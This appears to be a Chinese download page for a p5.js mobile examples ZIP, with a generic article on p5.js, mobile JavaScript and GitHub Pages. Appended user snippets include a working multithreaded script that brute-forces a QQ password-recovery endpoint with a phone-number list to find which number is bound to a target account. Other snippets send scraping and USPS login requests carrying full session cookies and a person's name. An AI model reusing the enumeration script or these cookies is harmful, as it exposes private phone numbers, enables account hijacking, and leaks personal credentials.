活动介绍
file-type

P5移动示例教程:探索移动平台上的JavaScript创造力

ZIP文件

下载需积分: 8 | 2.52MB | 更新于2025-08-14 | 66 浏览量 | 0 下载量 举报 收藏
download 立即下载
在这个部分,我们会详细探讨标题、描述和标签所指向的知识点,尤其侧重于JavaScript在移动设备中的应用,以及如何通过p5.js这个开源JavaScript库来创建移动示例。 ### 标题和描述的知识点 标题和描述提到的“p5_mobile:P5移动示例”指的很可能是一个关于如何使用p5.js(一个简化版的Processing,专为Web设计)的示例项目,该项目专注于在移动设备上运行。p5.js以其简单易用、功能强大的API著称,它极大地降低了在Web上进行创意编程的门槛,特别是对于艺术家和设计师而言,它提供了一种简单、直观的方法来制作图形和交互式艺术品。 #### p5.js简介 - **JavaScript库**:p5.js是一个JavaScript库,意味着它是由一些预编写好的JavaScript代码构成,这些代码被设计为容易理解和使用的函数和对象。 - **简化版的Processing**:它旨在将Processing的设计理念(一种面向艺术家和设计师的编程语言和环境)带入Web浏览器。 - **创意编程**:使用p5.js进行创意编程,即使用代码来创建视觉艺术作品、互动设计等。 - **Web平台**:p5.js针对的是Web平台,允许用户在浏览器中直接创建和展示作品。 #### 移动设备上的应用 - **适配性**:移动示例意味着这个项目专门考虑了在移动设备(如智能手机和平板电脑)上的运行。 - **触摸界面**:移动设备上的交互通常涉及触摸操作,如点击、拖动和缩放。因此,p5.js在移动示例中可能包括了触摸事件处理。 - **响应式设计**:需要考虑如何根据不同的屏幕尺寸进行适配,包括横向和纵向的不同布局。 - **性能优化**:移动设备的性能通常不如台式机或笔记本电脑,因此在移动设备上运行时需要特别注意性能优化,如使用canvas绘图时的渲染性能。 ### 标签的知识点 标签为"JavaScript",这指明了p5.js示例项目的技术基础。 #### JavaScript在移动开发中的作用 - **客户端脚本**:JavaScript是用于编写在客户端浏览器中运行的脚本的主要语言。 - **Web应用开发**:JavaScript用于创建动态网页和Web应用,这些应用能够在移动设备的浏览器上运行。 - **与HTML和CSS的整合**:通过JavaScript可以控制HTML元素和CSS样式,以此来实现复杂的交互性和动态视觉效果。 - **框架和库**:有许多JavaScript框架和库可以用于移动开发,包括React Native、Flutter、jQuery Mobile等,而p5.js专注于创意编程。 - **跨平台能力**:由于JavaScript是Web标准的一部分,它为开发跨平台的移动应用提供了一种有效的途径。 ### 压缩包子文件的文件名称列表 在这个案例中,提到了压缩包子文件的文件名称列表为 "p5_mobile-gh-pages"。这可能是指该项目的源代码存放在GitHub上,并且使用了GitHub Pages来托管网站。 #### GitHub Pages - **托管服务**:GitHub Pages是一个免费的静态网站托管服务,允许开发者部署简单的静态网站。 - **版本控制**:该服务与Git版本控制紧密集成,意味着网站的每个版本都可以被跟踪和管理。 - **演示平台**:它常被用作项目的在线演示,无需额外的服务器设置,且方便分享。 - **自动化部署**:可以通过GitHub Actions或相关的自动化工具来自动化部署,这使得在源代码更改时网站可以自动更新。 #### 文件和项目结构 - **项目文件**:在 "p5_mobile-gh-pages" 的文件结构中,我们可能会发现HTML文件、JavaScript文件(如p5.js)、CSS样式表,以及可能的图像、字体和其他资源文件。 - **目录组织**:良好的目录结构有利于项目管理,包括源代码、库文件、构建工具配置和其他资源的分离。 - **部署过程**:了解如何将项目部署到GitHub Pages上,通常包括设置特定的分支或文件夹作为源目录,并将这些文件推送到GitHub仓库。 ### 结语 通过以上分析,我们了解到使用p5.js创建移动示例项目的相关知识点,涵盖了从JavaScript技术基础到项目部署的各个环节。通过这些内容,我们可以更深入地理解如何利用现代Web技术进行创意编程,并将其展示在移动设备上。这不仅可以为创意工作者提供一个强大的工具集,也为想要将创意快速实现为在线作品的开发者打开了一扇窗。

相关推荐

filetype

import requests import concurrent.futures import os stop_event = False def send_request(qq_number, mobile_number): # 统一手机号格式,去掉空格并添加区号 mobile_number = f"+86{mobile_number.strip().replace(' ', '')}" # 修正后的 URL url = f"https://accounts.qq.com/psw/find/proxy/domain/qq110.qq.com/v3/verifymbphone?uin={qq_number}" headers = { "Connection": "keep-alive", "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Origin": "https://accounts.qq.com", "Referer": "https://accounts.qq.com/psw/find?from=3";, "User-Agent": "Mozilla/5.0 (Linux; Android; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.71 Mobile Safari/537.36", "Cookie": "p_skey=cCy**i*k7AvfIDdcByi0P5YMZ-s8aL0YI7wEfQYdhls_;" } data = { "com": { "src": 1, "scene": 100501, "platform": 2, "version": "9135", "device": { "platform": "Android", "brand": "Generic", "model": "Generic" }, "unlgn": { "account": qq_number, "sig": "", "uinToken": "", "randstr": "@uLS" } }, "check": False, "guid": "", "loginTime": 1740576364, "randStr": "@uLS", "appid": 2064145836, "mobile": mobile_number, "areaCode": "+86" } try: response = requests.post(url, headers=headers, json=data, timeout=10) print(f"请求成功,手机号 {mobile_number} 的响应状态码: {response.status_code}") print(f"请求成功,手机号 {mobile_number} 的响应内容: {response.text}") return response.text except Exception as e: print(f"请求失败,手机号 {mobile_number}: {e}") return None def process_number(qq_number, mobile_number, output_file): global stop_event if stop_event: print(f"程序已停止,不再处理新的手机号。") return False response = send_request(qq_number, mobile_number) if response is None: return False if "result:0}" in response: print(f"手机号 {mobile_number} 停止运行,结果为成功") stop_event = True return False elif "result:1}" in response: print(f"成功获取到用户 {qq_number} 的手机号为: {mobile_number}") with open(output_file, 'a') as f: f.write(f"{mobile_number}") return True else: print(f"手机号 {mobile_number} 失败") return False def main(): global stop_event qq_number = input("请输入QQ号: ") file_path = input("请输入包含手机号的文件路径: ") output_file = input("请输入输出文件路径(如:成功的手机号.txt): ") if not os.path.isfile(file_path): print(f"错误:{file_path} 不是一个有效的文件路径。") return try: with open(file_path, 'r', encoding='utf-8') as file: mobile_numbers = [line.strip() for line in file if line.strip()] print(f"已加载 {len(mobile_numbers)} 个手机号。") except Exception as e: print(f"无法读取文件:{e}") return with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(process_number, qq_number, mobile_number, output_file) for mobile_number in mobile_numbers] for future in concurrent.futures.as_completed(futures): if stop_event: print("程序已停止,不再处理新的任务。") break print("程序结束") if __name__ == "__main__": main() print('失忆 @3696132665')修复这个代码

filetype

import requests import os from bs4 import BeautifulSoup cookie = os.getenv('MY_COOKIE') # 保存到环境变量中 def get_with_cookie(url): headers = { 'cookie': cookie, 'pragma': 'no-cache', 'referer': 'https://uland.taobao.com/sem/tbsearch?refpid=mm_26632258_3504122_32538762&keyword=%E7%88%B1%E6%B7%98%E5%AE%9D%E4%B9%B0%E4%B8%9C%E8%A5%BF&clk1=066356e5e429004e6730976351cc1afc&upsId=066356e5e429004e6730976351cc1afc', 'sec-ch-ua': '"Microsoft Edge";v="113", "Chromium";v="113", "Not-A.Brand";v="24"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': "Windows", 'sec-fetch-dest': 'document', 'sec-fetch-mode': 'navigate', 'sec-fetch-site': 'same-origin', 'sec-fetch-user': '?1', 'upgrade-insecure-requests': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50' } try: resp = requests.get(url=url, headers=headers) return resp.text except requests.exceptions.RequestException as e: print("请求异常:", e) return None # 解析HTML内容,提取商品名称、价格和销量信息 def parse_html(html): try: soup = BeautifulSoup(html, 'html.parser') title = soup.select_one('h3.tb-main-title[data-title]') return title except Exception as e: print("解析异常:", e) return None # 测试接口: url = 'https://item.taobao.com/item.htm?id=699089474285&ali_refid=a3_430673_1006:1102522391:N:%2BAkz14GC%2BXi%2Bma9dw7y9M4p5Yhq5iT8I:f9e826228fbc823934848d20e28dff81&ali_trackid=162_f9e826228fbc823934848d20e28dff81&spm=a2e0b.20350158.31919782.5' resp_text = get_with_cookie(url) if resp_text is not None: title = parse_html(resp_text) if title is not None: # 打印商品信息 print(title.text.strip()) else: print("解析失败") else: print("请求失败")将cookie存储在session中

filetype

auth_url = "https://reg.usps.com/entreg/json/AuthenticateAction" headers = { "Connection": "keep-alive", "Accept": "*/*", "Content-Type": "application/json; charset=UTF-8", # 必须与发送的数据格式一致 # "Cache-Control": "max-age=0", "Sec-ch-ua": '"Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"', "Sec-ch-ua-mobile": "?0", "Sec-ch-ua-platform": '"Linux"', "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "Cookie": "TLTSID=4e5396f3d77f16638b0600e0ed96ae55; reg-entreg=ffffffff3b22206b45525d5f4f58455e445a4a4212d3; NSC_d.tt1_443=ffffffff2198c58945525d5f4f58455e445a4a42378b; _gcl_au=1.1.135541022.1743605114; mab_usps=32; tmab_usps=83; _ga=GA1.1.833753698.1743605115; mdLogger=false; uosLNeRegXVyDVaY=9601b61b4d76be0655ec7fdadb356a63824bc47ced4cb400cc7f6d29776a3b3812948fb9608fcc55cfe37a7de06b57a9794eed8da5769a25ed6e0fb945154a87; ak_bmsc=AE74815066F721963DEC64EB4825AEEB~000000000000000000000000000000~YAAQaz0xF2b8APqVAQAAvx89+hvetxBy/OcP2fW++jr4hxJfdiCTHIfTETkA1x3jq3rNH2Twt+U86tZ3oYZQ9gbSrDkuMiWu+ZMdKambDmGbsZPyU0dmcbQzObzctjGn3YaicaOqvF9SXHSxn21zyNzS3KhpHMY726pSeqXCFfpGN7kBQChCpLQrJq4MJACHfGKaowk770KsjdomiduOUpu/+7JLE4jslLXBklJnzhnD+dLBGtwgq3WXFwVu//xTlbhdApBUIUTrB31OoY7lyr7TVbV4M+HzPRhQEM5zct2pq+berrFg/lmOvIS4cPaKWAJCPbxEQZKxhOJm8KK8zBxc897pSMWvfBU=; EntRegName=Michale||Li; EntRegPrefs=lang=en; o59a9A4Gx=A4mV9vaVAQAAVWeASDnX-Xyy27X1sj1uIXfXU4Ucr1HD01-Y4xAdIMV89lVtASWA9mSuckX5wH8AAEB3AAAAAA|1|0|fc6d67bc1f76bd944e0f366634fbea6d656afa09; _ga_QM3XHZ2B95=GS1.1.1743660064.4.1.1743662154.0.0.0; JSESSIONID=0000A_4rSxwbnR_ZR3V57cje37b:1cn707vkr; bTNsZJBqwVewZTem=c5de2cbbf18e9f14c97e03096b3ff128e749780ff7b14176d1e3497a7b6d05bff13ef4aaed59ccc834cbc1899b6ad001b5c550333aa122d427a8c6e9776a13b8; bm_sv=354475CF54520C6DE195ACE1614F74E0~YAAQkPnLF3vZofmVAQAAcipd+huRXahY/A16X+oE3MEcB9DavjXYoCj2fb0ra8M8QRPX97zesM+S5ebR4ReIe6dfLVfQHTyf4whGMYpEfU0Q8PX3FkLvkbjoe4RfuCtxmwV0uWmeyR1gTZ8HHNCoVj5hLgBwBCzu3vifMyiiRDi5YxmPHM+ZdkTFtqt2QXeEvKYcD7XQuGHoIZEOQNaVgch6/2cwPjxX1A+I4X363w7B5NyrXyi6Re2CRC+P5AA=~1; _ga_3NXP3C8S9V=GS1.1.1743660064.4.1.1743662168.0.0.0; kampyleUserSession=1743662170111; kampyleUserSessionsCount=11; kampyleSessionPageCounter=1; _ga_7TB0KSCYX9=GS1.1.1743662169.6.1.1743662229.0.0.0; _ga_CSLL4ZEK4L=GS1.1.1743660064.4.1.1743662229.0.0.0", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "zh-CN,zh;q=0.9", "x-requested-with": "XMLHttpRequest", } session = requests.Session() try: # 发送禁止重定向的 POST 请求 resp = session.post( auth_url, headers=headers, data=data, proxies=proxies, # allow_redirects=False, # 核心控制参数 # timeout=10 # 建议添加超时 ) # print(resp.history[0].text) # 打印关键调试信息 print("=" * 30) print(f"状态码: {resp.status_code}") print(f"响应头: {resp.headers}") print(f"Location 头: {resp.headers.get('Location', '无')}") # 解析响应体(JSON 或原始文本) try: response_data = resp.json() print("JSON 响应体:", response_data) except requests.exceptions.JSONDecodeError: pass print("原始文本响应体:", resp.text[0:100]) print("=" * 30) except requests.exceptions.RequestException as e: print(f"请求异常: {str(e)}") 原始文本响应体: <!DOCTYPE html PUBLIC "" ""> <html><head><META http-equiv="Content-Type" content="text/html; char

filetype

headers = { "Connection": "keep-alive", "Accept": "application/json", "Content-Type": "application/json; charset=UTF-8", # 必须与发送的数据格式一致 "Cache-Control": "max-age=0", # "sec-ch-ua": '"Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"', # "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Linux"', "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "Cookie": "TLTSID=4e5396f3d77f16638b0600e0ed96ae55; reg-entreg=ffffffff3b22206b45525d5f4f58455e445a4a4212d3; NSC_d.tt1_443=ffffffff2198c58945525d5f4f58455e445a4a42378b; _gcl_au=1.1.135541022.1743605114; mab_usps=32; tmab_usps=83; _ga=GA1.1.833753698.1743605115; mdLogger=false; uosLNeRegXVyDVaY=9601b61b4d76be0655ec7fdadb356a63824bc47ced4cb400cc7f6d29776a3b3812948fb9608fcc55cfe37a7de06b57a9794eed8da5769a25ed6e0fb945154a87; ak_bmsc=AE74815066F721963DEC64EB4825AEEB~000000000000000000000000000000~YAAQaz0xF2b8APqVAQAAvx89+hvetxBy/OcP2fW++jr4hxJfdiCTHIfTETkA1x3jq3rNH2Twt+U86tZ3oYZQ9gbSrDkuMiWu+ZMdKambDmGbsZPyU0dmcbQzObzctjGn3YaicaOqvF9SXHSxn21zyNzS3KhpHMY726pSeqXCFfpGN7kBQChCpLQrJq4MJACHfGKaowk770KsjdomiduOUpu/+7JLE4jslLXBklJnzhnD+dLBGtwgq3WXFwVu//xTlbhdApBUIUTrB31OoY7lyr7TVbV4M+HzPRhQEM5zct2pq+berrFg/lmOvIS4cPaKWAJCPbxEQZKxhOJm8KK8zBxc897pSMWvfBU=; EntRegName=Michale||Li; EntRegPrefs=lang=en; o59a9A4Gx=A4mV9vaVAQAAVWeASDnX-Xyy27X1sj1uIXfXU4Ucr1HD01-Y4xAdIMV89lVtASWA9mSuckX5wH8AAEB3AAAAAA|1|0|fc6d67bc1f76bd944e0f366634fbea6d656afa09; _ga_QM3XHZ2B95=GS1.1.1743660064.4.1.1743662154.0.0.0; JSESSIONID=0000A_4rSxwbnR_ZR3V57cje37b:1cn707vkr; bTNsZJBqwVewZTem=c5de2cbbf18e9f14c97e03096b3ff128e749780ff7b14176d1e3497a7b6d05bff13ef4aaed59ccc834cbc1899b6ad001b5c550333aa122d427a8c6e9776a13b8; bm_sv=354475CF54520C6DE195ACE1614F74E0~YAAQkPnLF3vZofmVAQAAcipd+huRXahY/A16X+oE3MEcB9DavjXYoCj2fb0ra8M8QRPX97zesM+S5ebR4ReIe6dfLVfQHTyf4whGMYpEfU0Q8PX3FkLvkbjoe4RfuCtxmwV0uWmeyR1gTZ8HHNCoVj5hLgBwBCzu3vifMyiiRDi5YxmPHM+ZdkTFtqt2QXeEvKYcD7XQuGHoIZEOQNaVgch6/2cwPjxX1A+I4X363w7B5NyrXyi6Re2CRC+P5AA=~1; _ga_3NXP3C8S9V=GS1.1.1743660064.4.1.1743662168.0.0.0; kampyleUserSession=1743662170111; kampyleUserSessionsCount=11; kampyleSessionPageCounter=1; _ga_7TB0KSCYX9=GS1.1.1743662169.6.1.1743662229.0.0.0; _ga_CSLL4ZEK4L=GS1.1.1743660064.4.1.1743662229.0.0.0", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "zh-CN,zh;q=0.9", # "x-requested-with": "XMLHttpRequest", } try: # 发送禁止重定向的 POST 请求 resp = session.post( auth_url, headers=headers, json=data, proxies=proxies, # allow_redirects=False, # 核心控制参数 # timeout=10 # 建议添加超时 ) # print(resp.history[0].text) # 打印关键调试信息 print("=" * 30) print(f"状态码: {resp.status_code}") print(f"响应头: {resp.headers}") print(f"Location 头: {resp.headers.get('Location', '无')}") # 解析响应体(JSON 或原始文本) try: response_data = resp.json() print("JSON 响应体:", response_data) except requests.exceptions.JSONDecodeError: pass print("原始文本响应体:", resp.text[0:100]) print("=" * 30) except requests.exceptions.RequestException as e: print(f"请求异常: {str(e)}") 响应数据为非json数据

锦宣
  • 粉丝: 37
上传资源 快速赚钱